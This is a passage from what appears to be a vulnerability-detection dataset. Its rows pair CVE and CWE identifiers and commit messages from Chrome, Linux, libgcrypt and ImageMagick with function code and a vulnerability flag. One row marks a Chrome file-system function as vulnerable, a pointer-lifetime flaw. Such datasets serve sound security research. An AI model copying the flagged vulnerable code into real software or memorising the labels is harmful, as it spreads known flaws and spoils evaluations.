EXPECT_TRUE(result->GetResult()->HasValue());
EXPECT_EQ(3, result->GetResult()->GetValue()->GetInt());
}
|
C
|
Chrome
| 0 |
CVE-2019-5799
|
https://www.cvedetails.com/cve/CVE-2019-5799/
|
CWE-20
|
https://github.com/chromium/chromium/commit/108147dfd1ea159fd3632ef92ccc4ab8952980c7
|
108147dfd1ea159fd3632ef92ccc4ab8952980c7
|
Inherit the navigation initiator when navigating instead of the parent/opener
Spec PR: https://github.com/w3c/webappsec-csp/pull/358
Bug: 905301, 894228, 836148
Change-Id: I43ada2266d42d1cd56dbe3c6dd89d115e878a83a
Reviewed-on: https://chromium-review.googlesource.com/c/1314633
Commit-Queue: Andy Paicu <[email protected]>
Reviewed-by: Mike West <[email protected]>
Cr-Commit-Position: refs/heads/master@{#610850}
|
void ContentSecurityPolicy::TreatAsPublicAddress() {
if (!RuntimeEnabledFeatures::CorsRFC1918Enabled())
return;
treat_as_public_address_ = true;
}
|
void ContentSecurityPolicy::TreatAsPublicAddress() {
if (!RuntimeEnabledFeatures::CorsRFC1918Enabled())
return;
treat_as_public_address_ = true;
}
|
C
|
Chrome
| 0 |
CVE-2011-2859
|
https://www.cvedetails.com/cve/CVE-2011-2859/
|
CWE-264
|
https://github.com/chromium/chromium/commit/454434f6100cb6a529652a25b5fc181caa7c7f32
|
454434f6100cb6a529652a25b5fc181caa7c7f32
|
Limit extent of webstore app to just chrome.google.com/webstore.
BUG=93497
TEST=Try installing extensions and apps from the webstore, starting both being
initially logged in, and not.
Review URL: http://codereview.chromium.org/7719003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@97986 0039d316-1c4b-4281-b951-d872f2087c98
|
void ExtensionService::OnExternalProviderReady() {
CHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));
ProviderCollection::const_iterator i;
for (i = external_extension_providers_.begin();
i != external_extension_providers_.end(); ++i) {
ExternalExtensionProviderInterface* provider = i->get();
if (!provider->IsReady())
return;
}
if (external_extension_url_added_ && updater()) {
external_extension_url_added_ = false;
updater()->CheckNow();
}
scoped_ptr<ExtensionPrefs::ExtensionsInfo> extensions_info(
extension_prefs_->GetInstalledExtensionsInfo());
for (size_t i = 0; i < extensions_info->size(); ++i) {
ExtensionInfo* info = extensions_info->at(i).get();
if (Extension::IsExternalLocation(info->extension_location))
CheckExternalUninstall(info->extension_id);
}
}
|
void ExtensionService::OnExternalProviderReady() {
CHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));
ProviderCollection::const_iterator i;
for (i = external_extension_providers_.begin();
i != external_extension_providers_.end(); ++i) {
ExternalExtensionProviderInterface* provider = i->get();
if (!provider->IsReady())
return;
}
if (external_extension_url_added_ && updater()) {
external_extension_url_added_ = false;
updater()->CheckNow();
}
scoped_ptr<ExtensionPrefs::ExtensionsInfo> extensions_info(
extension_prefs_->GetInstalledExtensionsInfo());
for (size_t i = 0; i < extensions_info->size(); ++i) {
ExtensionInfo* info = extensions_info->at(i).get();
if (Extension::IsExternalLocation(info->extension_location))
CheckExternalUninstall(info->extension_id);
}
}
|
C
|
Chrome
| 0 |
CVE-2012-0028
|
https://www.cvedetails.com/cve/CVE-2012-0028/
|
CWE-264
|
https://github.com/torvalds/linux/commit/8141c7f3e7aee618312fa1c15109e1219de784a7
|
8141c7f3e7aee618312fa1c15109e1219de784a7
|
Move "exit_robust_list" into mm_release()
We don't want to get rid of the futexes just at exit() time, we want to
drop them when doing an execve() too, since that gets rid of the
previous VM image too.
Doing it at mm_release() time means that we automatically always do it
when we disassociate a VM map from the task.
Reported-by: [email protected]
Cc: Andrew Morton <[email protected]>
Cc: Nick Piggin <[email protected]>
Cc: Hugh Dickins <[email protected]>
Cc: Ingo Molnar <[email protected]>
Cc: Thomas Gleixner <[email protected]>
Cc: Brad Spengler <[email protected]>
Cc: Alex Efros <[email protected]>
Cc: Peter Zijlstra <[email protected]>
Cc: Oleg Nesterov <[email protected]>
Signed-off-by: Linus Torvalds <[email protected]>
|
kill_orphaned_pgrp(struct task_struct *tsk, struct task_struct *parent)
{
struct pid *pgrp = task_pgrp(tsk);
struct task_struct *ignored_task = tsk;
if (!parent)
/* exit: our father is in a different pgrp than
* we are and we were the only connection outside.
*/
parent = tsk->real_parent;
else
/* reparent: our child is in a different pgrp than
* we are, and it was the only connection outside.
*/
ignored_task = NULL;
if (task_pgrp(parent) != pgrp &&
task_session(parent) == task_session(tsk) &&
will_become_orphaned_pgrp(pgrp, ignored_task) &&
has_stopped_jobs(pgrp)) {
__kill_pgrp_info(SIGHUP, SEND_SIG_PRIV, pgrp);
__kill_pgrp_info(SIGCONT, SEND_SIG_PRIV, pgrp);
}
}
|
kill_orphaned_pgrp(struct task_struct *tsk, struct task_struct *parent)
{
struct pid *pgrp = task_pgrp(tsk);
struct task_struct *ignored_task = tsk;
if (!parent)
/* exit: our father is in a different pgrp than
* we are and we were the only connection outside.
*/
parent = tsk->real_parent;
else
/* reparent: our child is in a different pgrp than
* we are, and it was the only connection outside.
*/
ignored_task = NULL;
if (task_pgrp(parent) != pgrp &&
task_session(parent) == task_session(tsk) &&
will_become_orphaned_pgrp(pgrp, ignored_task) &&
has_stopped_jobs(pgrp)) {
__kill_pgrp_info(SIGHUP, SEND_SIG_PRIV, pgrp);
__kill_pgrp_info(SIGCONT, SEND_SIG_PRIV, pgrp);
}
}
|
C
|
linux
| 0 |
CVE-2019-11810
|
https://www.cvedetails.com/cve/CVE-2019-11810/
|
CWE-476
|
https://github.com/torvalds/linux/commit/bcf3b67d16a4c8ffae0aa79de5853435e683945c
|
bcf3b67d16a4c8ffae0aa79de5853435e683945c
|
scsi: megaraid_sas: return error when create DMA pool failed
when create DMA pool for cmd frames failed, we should return -ENOMEM,
instead of 0.
In some case in:
megasas_init_adapter_fusion()
-->megasas_alloc_cmds()
-->megasas_create_frame_pool
create DMA pool failed,
--> megasas_free_cmds() [1]
-->megasas_alloc_cmds_fusion()
failed, then goto fail_alloc_cmds.
-->megasas_free_cmds() [2]
we will call megasas_free_cmds twice, [1] will kfree cmd_list,
[2] will use cmd_list.it will cause a problem:
Unable to handle kernel NULL pointer dereference at virtual address
00000000
pgd = ffffffc000f70000
[00000000] *pgd=0000001fbf893003, *pud=0000001fbf893003,
*pmd=0000001fbf894003, *pte=006000006d000707
Internal error: Oops: 96000005 [#1] SMP
Modules linked in:
CPU: 18 PID: 1 Comm: swapper/0 Not tainted
task: ffffffdfb9290000 ti: ffffffdfb923c000 task.ti: ffffffdfb923c000
PC is at megasas_free_cmds+0x30/0x70
LR is at megasas_free_cmds+0x24/0x70
...
Call trace:
[<ffffffc0005b779c>] megasas_free_cmds+0x30/0x70
[<ffffffc0005bca74>] megasas_init_adapter_fusion+0x2f4/0x4d8
[<ffffffc0005b926c>] megasas_init_fw+0x2dc/0x760
[<ffffffc0005b9ab0>] megasas_probe_one+0x3c0/0xcd8
[<ffffffc0004a5abc>] local_pci_probe+0x4c/0xb4
[<ffffffc0004a5c40>] pci_device_probe+0x11c/0x14c
[<ffffffc00053a5e4>] driver_probe_device+0x1ec/0x430
[<ffffffc00053a92c>] __driver_attach+0xa8/0xb0
[<ffffffc000538178>] bus_for_each_dev+0x74/0xc8
[<ffffffc000539e88>] driver_attach+0x28/0x34
[<ffffffc000539a18>] bus_add_driver+0x16c/0x248
[<ffffffc00053b234>] driver_register+0x6c/0x138
[<ffffffc0004a5350>] __pci_register_driver+0x5c/0x6c
[<ffffffc000ce3868>] megasas_init+0xc0/0x1a8
[<ffffffc000082a58>] do_one_initcall+0xe8/0x1ec
[<ffffffc000ca7be8>] kernel_init_freeable+0x1c8/0x284
[<ffffffc0008d90b8>] kernel_init+0x1c/0xe4
Signed-off-by: Jason Yan <[email protected]>
Acked-by: Sumit Saxena <[email protected]>
Signed-off-by: Martin K. Petersen <[email protected]>
|
process_fw_state_change_wq(struct work_struct *work)
{
struct megasas_instance *instance =
container_of(work, struct megasas_instance, work_init);
u32 wait;
unsigned long flags;
if (atomic_read(&instance->adprecovery) != MEGASAS_ADPRESET_SM_INFAULT) {
dev_notice(&instance->pdev->dev, "error, recovery st %x\n",
atomic_read(&instance->adprecovery));
return ;
}
if (atomic_read(&instance->adprecovery) == MEGASAS_ADPRESET_SM_INFAULT) {
dev_notice(&instance->pdev->dev, "FW detected to be in fault"
"state, restarting it...\n");
instance->instancet->disable_intr(instance);
atomic_set(&instance->fw_outstanding, 0);
atomic_set(&instance->fw_reset_no_pci_access, 1);
instance->instancet->adp_reset(instance, instance->reg_set);
atomic_set(&instance->fw_reset_no_pci_access, 0);
dev_notice(&instance->pdev->dev, "FW restarted successfully,"
"initiating next stage...\n");
dev_notice(&instance->pdev->dev, "HBA recovery state machine,"
"state 2 starting...\n");
/* waiting for about 20 second before start the second init */
for (wait = 0; wait < 30; wait++) {
msleep(1000);
}
if (megasas_transition_to_ready(instance, 1)) {
dev_notice(&instance->pdev->dev, "adapter not ready\n");
atomic_set(&instance->fw_reset_no_pci_access, 1);
megaraid_sas_kill_hba(instance);
return ;
}
if ((instance->pdev->device == PCI_DEVICE_ID_LSI_SAS1064R) ||
(instance->pdev->device == PCI_DEVICE_ID_DELL_PERC5) ||
(instance->pdev->device == PCI_DEVICE_ID_LSI_VERDE_ZCR)
) {
*instance->consumer = *instance->producer;
} else {
*instance->consumer = 0;
*instance->producer = 0;
}
megasas_issue_init_mfi(instance);
spin_lock_irqsave(&instance->hba_lock, flags);
atomic_set(&instance->adprecovery, MEGASAS_HBA_OPERATIONAL);
spin_unlock_irqrestore(&instance->hba_lock, flags);
instance->instancet->enable_intr(instance);
megasas_issue_pending_cmds_again(instance);
instance->issuepend_done = 1;
}
}
|
process_fw_state_change_wq(struct work_struct *work)
{
struct megasas_instance *instance =
container_of(work, struct megasas_instance, work_init);
u32 wait;
unsigned long flags;
if (atomic_read(&instance->adprecovery) != MEGASAS_ADPRESET_SM_INFAULT) {
dev_notice(&instance->pdev->dev, "error, recovery st %x\n",
atomic_read(&instance->adprecovery));
return ;
}
if (atomic_read(&instance->adprecovery) == MEGASAS_ADPRESET_SM_INFAULT) {
dev_notice(&instance->pdev->dev, "FW detected to be in fault"
"state, restarting it...\n");
instance->instancet->disable_intr(instance);
atomic_set(&instance->fw_outstanding, 0);
atomic_set(&instance->fw_reset_no_pci_access, 1);
instance->instancet->adp_reset(instance, instance->reg_set);
atomic_set(&instance->fw_reset_no_pci_access, 0);
dev_notice(&instance->pdev->dev, "FW restarted successfully,"
"initiating next stage...\n");
dev_notice(&instance->pdev->dev, "HBA recovery state machine,"
"state 2 starting...\n");
/* waiting for about 20 second before start the second init */
for (wait = 0; wait < 30; wait++) {
msleep(1000);
}
if (megasas_transition_to_ready(instance, 1)) {
dev_notice(&instance->pdev->dev, "adapter not ready\n");
atomic_set(&instance->fw_reset_no_pci_access, 1);
megaraid_sas_kill_hba(instance);
return ;
}
if ((instance->pdev->device == PCI_DEVICE_ID_LSI_SAS1064R) ||
(instance->pdev->device == PCI_DEVICE_ID_DELL_PERC5) ||
(instance->pdev->device == PCI_DEVICE_ID_LSI_VERDE_ZCR)
) {
*instance->consumer = *instance->producer;
} else {
*instance->consumer = 0;
*instance->producer = 0;
}
megasas_issue_init_mfi(instance);
spin_lock_irqsave(&instance->hba_lock, flags);
atomic_set(&instance->adprecovery, MEGASAS_HBA_OPERATIONAL);
spin_unlock_irqrestore(&instance->hba_lock, flags);
instance->instancet->enable_intr(instance);
megasas_issue_pending_cmds_again(instance);
instance->issuepend_done = 1;
}
}
|
C
|
linux
| 0 |
CVE-2017-2647
|
https://www.cvedetails.com/cve/CVE-2017-2647/
|
CWE-476
|
https://github.com/torvalds/linux/commit/c06cfb08b88dfbe13be44a69ae2fdc3a7c902d81
|
c06cfb08b88dfbe13be44a69ae2fdc3a7c902d81
|
KEYS: Remove key_type::match in favour of overriding default by match_preparse
A previous patch added a ->match_preparse() method to the key type. This is
allowed to override the function called by the iteration algorithm.
Therefore, we can just set a default that simply checks for an exact match of
the key description with the original criterion data and allow match_preparse
to override it as needed.
The key_type::match op is then redundant and can be removed, as can the
user_match() function.
Signed-off-by: David Howells <[email protected]>
Acked-by: Vivek Goyal <[email protected]>
|
static int set_chmod_dacl(struct cifs_acl *pndacl, struct cifs_sid *pownersid,
struct cifs_sid *pgrpsid, __u64 nmode)
{
u16 size = 0;
struct cifs_acl *pnndacl;
pnndacl = (struct cifs_acl *)((char *)pndacl + sizeof(struct cifs_acl));
size += fill_ace_for_sid((struct cifs_ace *) ((char *)pnndacl + size),
pownersid, nmode, S_IRWXU);
size += fill_ace_for_sid((struct cifs_ace *)((char *)pnndacl + size),
pgrpsid, nmode, S_IRWXG);
size += fill_ace_for_sid((struct cifs_ace *)((char *)pnndacl + size),
&sid_everyone, nmode, S_IRWXO);
pndacl->size = cpu_to_le16(size + sizeof(struct cifs_acl));
pndacl->num_aces = cpu_to_le32(3);
return 0;
}
|
static int set_chmod_dacl(struct cifs_acl *pndacl, struct cifs_sid *pownersid,
struct cifs_sid *pgrpsid, __u64 nmode)
{
u16 size = 0;
struct cifs_acl *pnndacl;
pnndacl = (struct cifs_acl *)((char *)pndacl + sizeof(struct cifs_acl));
size += fill_ace_for_sid((struct cifs_ace *) ((char *)pnndacl + size),
pownersid, nmode, S_IRWXU);
size += fill_ace_for_sid((struct cifs_ace *)((char *)pnndacl + size),
pgrpsid, nmode, S_IRWXG);
size += fill_ace_for_sid((struct cifs_ace *)((char *)pnndacl + size),
&sid_everyone, nmode, S_IRWXO);
pndacl->size = cpu_to_le16(size + sizeof(struct cifs_acl));
pndacl->num_aces = cpu_to_le32(3);
return 0;
}
|
C
|
linux
| 0 |
CVE-2017-0379
|
https://www.cvedetails.com/cve/CVE-2017-0379/
|
CWE-200
|
https://git.gnupg.org/cgi-bin/gitweb.cgi?p=libgcrypt.git;a=commit;h=da780c8183cccc8f533c8ace8211ac2cb2bdee7b
|
da780c8183cccc8f533c8ace8211ac2cb2bdee7b
| null |
ec_subm (gcry_mpi_t w, gcry_mpi_t u, gcry_mpi_t v, mpi_ec_t ec)
{
mpi_sub (w, u, v);
while (w->sign)
mpi_add (w, w, ec->p);
/*ec_mod (w, ec);*/
}
|
ec_subm (gcry_mpi_t w, gcry_mpi_t u, gcry_mpi_t v, mpi_ec_t ec)
{
mpi_sub (w, u, v);
while (w->sign)
mpi_add (w, w, ec->p);
/*ec_mod (w, ec);*/
}
|
C
|
gnupg
| 0 |
CVE-2016-5194
| null | null |
https://github.com/chromium/chromium/commit/d4e0a7273cd8d7a9ee667ad5b5c8aad0f5f59251
|
d4e0a7273cd8d7a9ee667ad5b5c8aad0f5f59251
|
Clear Shill stub config in offline file manager tests
The Shill stub client fakes ethernet and wifi connections during
testing. Clear its config during offline tests to simulate a lack of
network connectivity.
As a side effect, fileManagerPrivate.getDriveConnectionState will no
longer need to be stubbed out, as it will now think the device is
offline and return the appropriate result.
Bug: 925272
Change-Id: Idd6cb44325cfde4991d3b1e64185a28e8655c733
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1578149
Commit-Queue: Austin Tankiang <[email protected]>
Reviewed-by: Sam McNally <[email protected]>
Cr-Commit-Position: refs/heads/master@{#654782}
|
bool PrepareUsbTestEntries(Profile* profile) {
if (!CreateRootDirectory(profile))
return false;
CreateEntry(AddEntriesMessage::TestEntryInfo(AddEntriesMessage::FILE,
"text.txt", "hello.txt")
.SetMimeType("text/plain"));
CreateEntry(AddEntriesMessage::TestEntryInfo(AddEntriesMessage::DIRECTORY,
"", "Folder"));
base::RunLoop().RunUntilIdle();
return true;
}
|
bool PrepareUsbTestEntries(Profile* profile) {
if (!CreateRootDirectory(profile))
return false;
CreateEntry(AddEntriesMessage::TestEntryInfo(AddEntriesMessage::FILE,
"text.txt", "hello.txt")
.SetMimeType("text/plain"));
CreateEntry(AddEntriesMessage::TestEntryInfo(AddEntriesMessage::DIRECTORY,
"", "Folder"));
base::RunLoop().RunUntilIdle();
return true;
}
|
C
|
Chrome
| 0 |
CVE-2017-6502
|
https://www.cvedetails.com/cve/CVE-2017-6502/
|
CWE-119
|
https://github.com/ImageMagick/ImageMagick/commit/126c7c98ea788241922c30df4a5633ea692cf8df
|
126c7c98ea788241922c30df4a5633ea692cf8df
|
Fixed fd leak for webp coder (patch from #382)
|
static int WebPEncodeProgress(int percent,const WebPPicture* picture)
{
#define EncodeImageTag "Encode/Image"
Image
*image;
MagickBooleanType
status;
image=(Image *) picture->custom_ptr;
status=SetImageProgress(image,EncodeImageTag,percent-1,100);
return(status == MagickFalse ? 0 : 1);
}
|
static int WebPEncodeProgress(int percent,const WebPPicture* picture)
{
#define EncodeImageTag "Encode/Image"
Image
*image;
MagickBooleanType
status;
image=(Image *) picture->custom_ptr;
status=SetImageProgress(image,EncodeImageTag,percent-1,100);
return(status == MagickFalse ? 0 : 1);
}
|
C
|
ImageMagick
| 0 |
CVE-2014-4652
|
https://www.cvedetails.com/cve/CVE-2014-4652/
|
CWE-362
|
https://github.com/torvalds/linux/commit/07f4d9d74a04aa7c72c5dae0ef97565f28f17b92
|
07f4d9d74a04aa7c72c5dae0ef97565f28f17b92
|
ALSA: control: Protect user controls against concurrent access
The user-control put and get handlers as well as the tlv do not protect against
concurrent access from multiple threads. Since the state of the control is not
updated atomically it is possible that either two write operations or a write
and a read operation race against each other. Both can lead to arbitrary memory
disclosure. This patch introduces a new lock that protects user-controls from
concurrent access. Since applications typically access controls sequentially
than in parallel a single lock per card should be fine.
Signed-off-by: Lars-Peter Clausen <[email protected]>
Acked-by: Jaroslav Kysela <[email protected]>
Cc: <[email protected]>
Signed-off-by: Takashi Iwai <[email protected]>
|
static int snd_disconnect_release(struct inode *inode, struct file *file)
{
struct snd_monitor_file *df = NULL, *_df;
spin_lock(&shutdown_lock);
list_for_each_entry(_df, &shutdown_files, shutdown_list) {
if (_df->file == file) {
df = _df;
list_del_init(&df->shutdown_list);
break;
}
}
spin_unlock(&shutdown_lock);
if (likely(df)) {
if ((file->f_flags & FASYNC) && df->disconnected_f_op->fasync)
df->disconnected_f_op->fasync(-1, file, 0);
return df->disconnected_f_op->release(inode, file);
}
panic("%s(%p, %p) failed!", __func__, inode, file);
}
|
static int snd_disconnect_release(struct inode *inode, struct file *file)
{
struct snd_monitor_file *df = NULL, *_df;
spin_lock(&shutdown_lock);
list_for_each_entry(_df, &shutdown_files, shutdown_list) {
if (_df->file == file) {
df = _df;
list_del_init(&df->shutdown_list);
break;
}
}
spin_unlock(&shutdown_lock);
if (likely(df)) {
if ((file->f_flags & FASYNC) && df->disconnected_f_op->fasync)
df->disconnected_f_op->fasync(-1, file, 0);
return df->disconnected_f_op->release(inode, file);
}
panic("%s(%p, %p) failed!", __func__, inode, file);
}
|
C
|
linux
| 0 |
CVE-2013-7421
|
https://www.cvedetails.com/cve/CVE-2013-7421/
|
CWE-264
|
https://github.com/torvalds/linux/commit/5d26a105b5a73e5635eae0629b42fa0a90e07b7b
|
5d26a105b5a73e5635eae0629b42fa0a90e07b7b
|
crypto: prefix module autoloading with "crypto-"
This prefixes all crypto module loading with "crypto-" so we never run
the risk of exposing module auto-loading to userspace via a crypto API,
as demonstrated by Mathias Krause:
https://lkml.org/lkml/2013/3/4/70
Signed-off-by: Kees Cook <[email protected]>
Signed-off-by: Herbert Xu <[email protected]>
|
static int lrw_decrypt(struct blkcipher_desc *desc, struct scatterlist *dst,
struct scatterlist *src, unsigned int nbytes)
{
struct camellia_lrw_ctx *ctx = crypto_blkcipher_ctx(desc->tfm);
be128 buf[CAMELLIA_AESNI_PARALLEL_BLOCKS];
struct crypt_priv crypt_ctx = {
.ctx = &ctx->camellia_ctx,
.fpu_enabled = false,
};
struct lrw_crypt_req req = {
.tbuf = buf,
.tbuflen = sizeof(buf),
.table_ctx = &ctx->lrw_table,
.crypt_ctx = &crypt_ctx,
.crypt_fn = decrypt_callback,
};
int ret;
desc->flags &= ~CRYPTO_TFM_REQ_MAY_SLEEP;
ret = lrw_crypt(desc, dst, src, nbytes, &req);
camellia_fpu_end(crypt_ctx.fpu_enabled);
return ret;
}
|
static int lrw_decrypt(struct blkcipher_desc *desc, struct scatterlist *dst,
struct scatterlist *src, unsigned int nbytes)
{
struct camellia_lrw_ctx *ctx = crypto_blkcipher_ctx(desc->tfm);
be128 buf[CAMELLIA_AESNI_PARALLEL_BLOCKS];
struct crypt_priv crypt_ctx = {
.ctx = &ctx->camellia_ctx,
.fpu_enabled = false,
};
struct lrw_crypt_req req = {
.tbuf = buf,
.tbuflen = sizeof(buf),
.table_ctx = &ctx->lrw_table,
.crypt_ctx = &crypt_ctx,
.crypt_fn = decrypt_callback,
};
int ret;
desc->flags &= ~CRYPTO_TFM_REQ_MAY_SLEEP;
ret = lrw_crypt(desc, dst, src, nbytes, &req);
camellia_fpu_end(crypt_ctx.fpu_enabled);
return ret;
}
|
C
|
linux
| 0 |
CVE-2019-5774
|
https://www.cvedetails.com/cve/CVE-2019-5774/
|
CWE-20
|
https://github.com/chromium/chromium/commit/b32471d5abb3b3a4fe56e1dd79871400b51a0cca
|
b32471d5abb3b3a4fe56e1dd79871400b51a0cca
|
Add .desktop file to download_file_types.asciipb
.desktop files act as shortcuts on Linux, allowing arbitrary code
execution. We should send pings for these files.
Bug: 904182
Change-Id: Ibc26141fb180e843e1ffaf3f78717a9109d2fa9a
Reviewed-on: https://chromium-review.googlesource.com/c/1344552
Reviewed-by: Varun Khaneja <[email protected]>
Commit-Queue: Daniel Rubery <[email protected]>
Cr-Commit-Position: refs/heads/master@{#611272}
|
void RecordParallelizableDownloadCount(DownloadCountTypes type,
bool is_parallel_download_enabled) {
std::string histogram_name = is_parallel_download_enabled
? "Download.Counts.ParallelDownload"
: "Download.Counts.ParallelizableDownload";
base::UmaHistogramEnumeration(histogram_name, type,
DOWNLOAD_COUNT_TYPES_LAST_ENTRY);
}
|
void RecordParallelizableDownloadCount(DownloadCountTypes type,
bool is_parallel_download_enabled) {
std::string histogram_name = is_parallel_download_enabled
? "Download.Counts.ParallelDownload"
: "Download.Counts.ParallelizableDownload";
base::UmaHistogramEnumeration(histogram_name, type,
DOWNLOAD_COUNT_TYPES_LAST_ENTRY);
}
|
C
|
Chrome
| 0 |
CVE-2017-5125
|
https://www.cvedetails.com/cve/CVE-2017-5125/
|
CWE-119
|
https://github.com/chromium/chromium/commit/1a90b2996bfd341a04073f0054047073865b485d
|
1a90b2996bfd341a04073f0054047073865b485d
|
Remove some senseless indirection from the Push API code
Four files to call one Java function. Let's just call it directly.
BUG=
Change-Id: I6e988e9a000051dd7e3dd2b517a33a09afc2fff6
Reviewed-on: https://chromium-review.googlesource.com/749147
Reviewed-by: Anita Woodruff <[email protected]>
Commit-Queue: Peter Beverloo <[email protected]>
Cr-Commit-Position: refs/heads/master@{#513464}
|
bool PushMessagingServiceImpl::CanHandle(const std::string& app_id) const {
return base::StartsWith(app_id, kPushMessagingAppIdentifierPrefix,
base::CompareCase::INSENSITIVE_ASCII);
}
|
bool PushMessagingServiceImpl::CanHandle(const std::string& app_id) const {
return base::StartsWith(app_id, kPushMessagingAppIdentifierPrefix,
base::CompareCase::INSENSITIVE_ASCII);
}
|
C
|
Chrome
| 0 |
CVE-2011-4621
|
https://www.cvedetails.com/cve/CVE-2011-4621/
| null |
https://github.com/torvalds/linux/commit/f26f9aff6aaf67e9a430d16c266f91b13a5bff64
|
f26f9aff6aaf67e9a430d16c266f91b13a5bff64
|
Sched: fix skip_clock_update optimization
idle_balance() drops/retakes rq->lock, leaving the previous task
vulnerable to set_tsk_need_resched(). Clear it after we return
from balancing instead, and in setup_thread_stack() as well, so
no successfully descheduled or never scheduled task has it set.
Need resched confused the skip_clock_update logic, which assumes
that the next call to update_rq_clock() will come nearly immediately
after being set. Make the optimization robust against the waking
a sleeper before it sucessfully deschedules case by checking that
the current task has not been dequeued before setting the flag,
since it is that useless clock update we're trying to save, and
clear unconditionally in schedule() proper instead of conditionally
in put_prev_task().
Signed-off-by: Mike Galbraith <[email protected]>
Reported-by: Bjoern B. Brandenburg <[email protected]>
Tested-by: Yong Zhang <[email protected]>
Signed-off-by: Peter Zijlstra <[email protected]>
Cc: [email protected]
LKML-Reference: <[email protected]>
Signed-off-by: Ingo Molnar <[email protected]>
|
unsigned long sched_group_shares(struct task_group *tg)
{
return tg->shares;
}
|
unsigned long sched_group_shares(struct task_group *tg)
{
return tg->shares;
}
|
C
|
linux
| 0 |
CVE-2013-0917
|
https://www.cvedetails.com/cve/CVE-2013-0917/
|
CWE-119
|
https://github.com/chromium/chromium/commit/02c8303512ebed345011f7b545e2f418799be2f0
|
02c8303512ebed345011f7b545e2f418799be2f0
|
Oilpan: Ship Oilpan for SyncCallbackHelper, CreateFileResult and CallbackWrapper in filesystem/
These are leftovers when we shipped Oilpan for filesystem/ once.
BUG=340522
Review URL: https://codereview.chromium.org/501263003
git-svn-id: svn://svn.chromium.org/blink/trunk@180909 bbb929c8-8fbe-4397-9dbb-9b2b20218538
|
DOMFileSystemSync* WorkerGlobalScopeFileSystem::webkitRequestFileSystemSync(WorkerGlobalScope& worker, int type, long long size, ExceptionState& exceptionState)
{
ExecutionContext* secureContext = worker.executionContext();
if (!secureContext->securityOrigin()->canAccessFileSystem()) {
exceptionState.throwSecurityError(FileError::securityErrorMessage);
return 0;
}
FileSystemType fileSystemType = static_cast<FileSystemType>(type);
if (!DOMFileSystemBase::isValidType(fileSystemType)) {
exceptionState.throwDOMException(InvalidModificationError, "the type must be TEMPORARY or PERSISTENT.");
return 0;
}
FileSystemSyncCallbackHelper* helper = FileSystemSyncCallbackHelper::create();
OwnPtr<AsyncFileSystemCallbacks> callbacks = FileSystemCallbacks::create(helper->successCallback(), helper->errorCallback(), &worker, fileSystemType);
callbacks->setShouldBlockUntilCompletion(true);
LocalFileSystem::from(worker)->requestFileSystem(&worker, fileSystemType, size, callbacks.release());
return helper->getResult(exceptionState);
}
|
DOMFileSystemSync* WorkerGlobalScopeFileSystem::webkitRequestFileSystemSync(WorkerGlobalScope& worker, int type, long long size, ExceptionState& exceptionState)
{
ExecutionContext* secureContext = worker.executionContext();
if (!secureContext->securityOrigin()->canAccessFileSystem()) {
exceptionState.throwSecurityError(FileError::securityErrorMessage);
return 0;
}
FileSystemType fileSystemType = static_cast<FileSystemType>(type);
if (!DOMFileSystemBase::isValidType(fileSystemType)) {
exceptionState.throwDOMException(InvalidModificationError, "the type must be TEMPORARY or PERSISTENT.");
return 0;
}
RefPtr<FileSystemSyncCallbackHelper> helper = FileSystemSyncCallbackHelper::create();
OwnPtr<AsyncFileSystemCallbacks> callbacks = FileSystemCallbacks::create(helper->successCallback(), helper->errorCallback(), &worker, fileSystemType);
callbacks->setShouldBlockUntilCompletion(true);
LocalFileSystem::from(worker)->requestFileSystem(&worker, fileSystemType, size, callbacks.release());
return helper->getResult(exceptionState);
}
|
C
|
Chrome
| 1 |
null | null | null |
https://github.com/chromium/chromium/commit/a03d4448faf2c40f4ef444a88cb9aace5b98e8c4
|
a03d4448faf2c40f4ef444a88cb9aace5b98e8c4
|
Introduce background.scripts feature for extension manifests.
This optimizes for the common use case where background pages
just include a reference to one or more script files and no
additional HTML.
BUG=107791
Review URL: http://codereview.chromium.org/9150008
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@117110 0039d316-1c4b-4281-b951-d872f2087c98
|
ListValue* TestingAutomationProvider::GetListFromCreditCards(
const std::vector<CreditCard*>& credit_cards) {
ListValue* cards = new ListValue;
std::map<AutofillFieldType, std::string> credit_card_type_to_string =
GetCreditCardFieldToStringMap();
for (std::vector<CreditCard*>::const_iterator it =
credit_cards.begin();
it != credit_cards.end(); ++it) {
CreditCard* card = *it;
DictionaryValue* card_info = new DictionaryValue;
for (std::map<AutofillFieldType, std::string>::iterator type_it =
credit_card_type_to_string.begin();
type_it != credit_card_type_to_string.end(); ++type_it) {
string16 value = card->GetInfo(type_it->first);
if (value.length()) {
card_info->SetString(type_it->second, value);
}
}
cards->Append(card_info);
}
return cards;
}
|
ListValue* TestingAutomationProvider::GetListFromCreditCards(
const std::vector<CreditCard*>& credit_cards) {
ListValue* cards = new ListValue;
std::map<AutofillFieldType, std::string> credit_card_type_to_string =
GetCreditCardFieldToStringMap();
for (std::vector<CreditCard*>::const_iterator it =
credit_cards.begin();
it != credit_cards.end(); ++it) {
CreditCard* card = *it;
DictionaryValue* card_info = new DictionaryValue;
for (std::map<AutofillFieldType, std::string>::iterator type_it =
credit_card_type_to_string.begin();
type_it != credit_card_type_to_string.end(); ++type_it) {
string16 value = card->GetInfo(type_it->first);
if (value.length()) {
card_info->SetString(type_it->second, value);
}
}
cards->Append(card_info);
}
return cards;
}
|
C
|
Chrome
| 0 |
null | null | null |
https://github.com/chromium/chromium/commit/df831400bcb63db4259b5858281b1727ba972a2a
|
df831400bcb63db4259b5858281b1727ba972a2a
|
WebKit2: Support window bounce when panning.
https://bugs.webkit.org/show_bug.cgi?id=58065
<rdar://problem/9244367>
Reviewed by Adam Roben.
Make gestureDidScroll synchronous, as once we scroll, we need to know
whether or not we are at the beginning or end of the scrollable document.
If we are at either end of the scrollable document, we call the Windows 7
API to bounce the window to give an indication that you are past an end
of the document.
* UIProcess/WebPageProxy.cpp:
(WebKit::WebPageProxy::gestureDidScroll): Pass a boolean for the reply, and return it.
* UIProcess/WebPageProxy.h:
* UIProcess/win/WebView.cpp:
(WebKit::WebView::WebView): Inititalize a new variable.
(WebKit::WebView::onGesture): Once we send the message to scroll, check if have gone to
an end of the document, and if we have, bounce the window.
* UIProcess/win/WebView.h:
* WebProcess/WebPage/WebPage.h:
* WebProcess/WebPage/WebPage.messages.in: GestureDidScroll is now sync.
* WebProcess/WebPage/win/WebPageWin.cpp:
